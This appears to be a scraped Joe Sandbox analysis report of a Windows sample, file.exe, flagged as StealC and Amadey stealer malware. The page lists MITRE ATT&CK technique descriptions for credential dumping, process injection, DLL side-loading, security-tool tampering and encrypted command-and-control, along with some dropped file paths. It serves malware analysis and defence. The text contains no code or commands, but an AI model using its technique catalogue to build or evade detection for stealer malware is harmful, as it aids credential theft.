Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f263ba36709e18d026b3c7c21c6c2677624b0e87ab02961d7e4b38c9fb91fcdb
Instruction ID: 719eaed9c29316880d970bc5597dd44082880cb11808162889a57b91749bce98
Opcode Fuzzy Hash: f263ba36709e18d026b3c7c21c6c2677624b0e87ab02961d7e4b38c9fb91fcdb
Instruction Fuzzy Hash: 1FF0F4B27012815BF7009E19E888E5BB3ADEF51258B550035EA1AC3F02E331F918C7A7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKKKEBFCGDBGDGCFHCBGIIIEB

C:\ProgramData\AKJDGDGD

C:\ProgramData\BAECFCAA

C:\ProgramData\DBKKKEHDHCBFIEBFBGIDGHJJJD

C:\ProgramData\EGHCAKKEGCAAFHJJJDBK

C:\ProgramData\EGIDAAFIEHIEHJKFHCAE

C:\ProgramData\GHJDHDAECBGCAKEBAEBA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre